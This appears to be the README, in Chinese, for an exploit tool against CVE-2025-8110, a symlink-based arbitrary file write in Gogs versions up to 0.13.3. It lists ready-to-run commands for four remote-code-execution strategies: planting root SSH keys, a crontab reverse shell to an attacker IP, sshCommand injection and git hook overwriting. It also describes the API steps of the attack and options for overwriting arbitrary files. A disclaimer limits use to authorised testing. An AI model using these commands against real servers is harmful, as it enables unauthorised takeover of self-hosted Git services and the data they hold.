
Gogs Symlink Traversal → RCE
CVE-2025-8110 是 Gogs(自托管 Git 服务)<= 0.13.3 版本中的一个严重漏洞。PutContents API 对文件路径进行目录遍历(../)校验,但在写入前未解析符号链接。认证用户可提交一个包含指向任意服务器文件的符号链接的 commit,然后对那个符号链接调用 PutContents,从而以攻击者控制的内容覆写真实文件。
这是先前 CVE-2024-55947 修复的绕过——该修复只解决了直接路径遍历,而未解决基于符号链接的遍历。
| 详细信息 | 值 |
|---|---|
| CVE | CVE-2025-8110 |
| 影响范围 | Gogs <= 0.13.3 |
| 修复版本 | Gogs 0.13.4 |
| 类型 | 认证后的任意文件写入 → RCE |
| CVSS | 8.8(高危) |
| 组件 | PutContents API(/api/v1/repos/:owner/:repo/contents/:path) |
requests(pip install requests)git 命令行本利用支持 4 种内置 RCE 策略 以及一个通用文件写入模式:
# 检查目标是否易受攻击(无需凭据)
python3 exploit.py http://target:3000 --check-only
# 策略 A:种植 SSH 密钥以获得 root 访问权限
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# 策略 B:Crontab 反弹 Shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# 策略 C:sshCommand 注入
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# 策略 D:Git Hook 注入
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# 通用文件写入
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# 从本地文件写入
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens)- 通过 API 令牌登录(Basic Auth)POST /api/v1/user/repos,设置 auto_init: true(POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link,附带 base64 编码的内容。Gogs 在磁盘上解析符号链接并写入真实文件(PUT /api/v1/repos/.../contents/linkn_ame)target Gogs 基础 URL(例如 http://target:3000)
认证相关:
-u, --user Gogs 用户名
-p, --password Gogs 密码
RCE 策略:
--rce-keys PUBKEY 种植 SSH 公钥 → /root/.ssh/authorized_keys
--rce-cron 反弹 Shell → /etc/crontab
--rce-ssh 污染 .git/config sshCommand 并触发
--rce-hook 覆写 pre-receive hook 并触发
--write 通用任意文件写入
连接 / Payload:
--lhost LHOST 用于反弹 Shell 的攻击者 IP
--lport LPORT 用于反弹 Shell 的攻击者端口
--target-file PATH 要覆写的服务器端路径(--write 模式)
--content STRING 要写入的内容
--content-file FILE 要写入的本地文件
其他选项:
--repo NAME 仓库名称(默认为随机)
--cleanup 完成后删除利用仓库
-o, --output FILE 报告文件(默认为 loot.json)
--timeout SECONDS 请求超时(默认为 15)
--proxy URL 用于调试的 HTTP 代理
--check-only 仅检查目标是否为 Gogs,不进行利用
本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法行为。作者不对任何滥用行为负责。请仅在您拥有明确书面许可的系统上使用。
| 策略 | 标志 | 目标文件 | 触发方式 |
|---|
| A — SSH 密钥 | --rce-keys | /root/.ssh/authorized_keys | SSH 登录 |
| B — Crontab | --rce-cron | /etc/crontab | 自动(60 秒内) |
| C — sshCommand | --rce-ssh | .git/config | SSH Git 操作 |
| D — Git Hook | --rce-hook | hooks/pre-receive | git push |
| 通用 | --write | 任意路径 | 手动 |